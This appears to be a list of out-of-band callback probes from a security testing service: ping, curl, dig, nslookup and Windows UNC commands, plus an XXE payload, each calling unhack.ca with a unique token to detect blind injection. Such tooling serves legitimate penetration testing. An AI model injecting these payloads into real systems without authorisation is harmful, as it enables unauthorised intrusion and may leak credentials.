$ ping -c1 -p 00301c29aeec5fcf3a7720de5518a600 unhack.ca
 

$ curl http://unhack.ca/p/301c29aeec5fcf3a7720de5518a6
 

$ dig 301c29aeec5fcf3a7720de5518a6 @unhack.ca
 

$ dig 301c29aeec5fcf3a7720de5518a6.ns.unhack.ca
 

C:\> nslookup 301c29aeec5fcf3a7720de5518a6 unhack.ca
 

C:\> type \\unhack.ca\301c29aeec5fcf3a7720de5518a6\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/301c29aeec5fcf3a7720de5518a6">]>
    <foo>&xxe;</foo>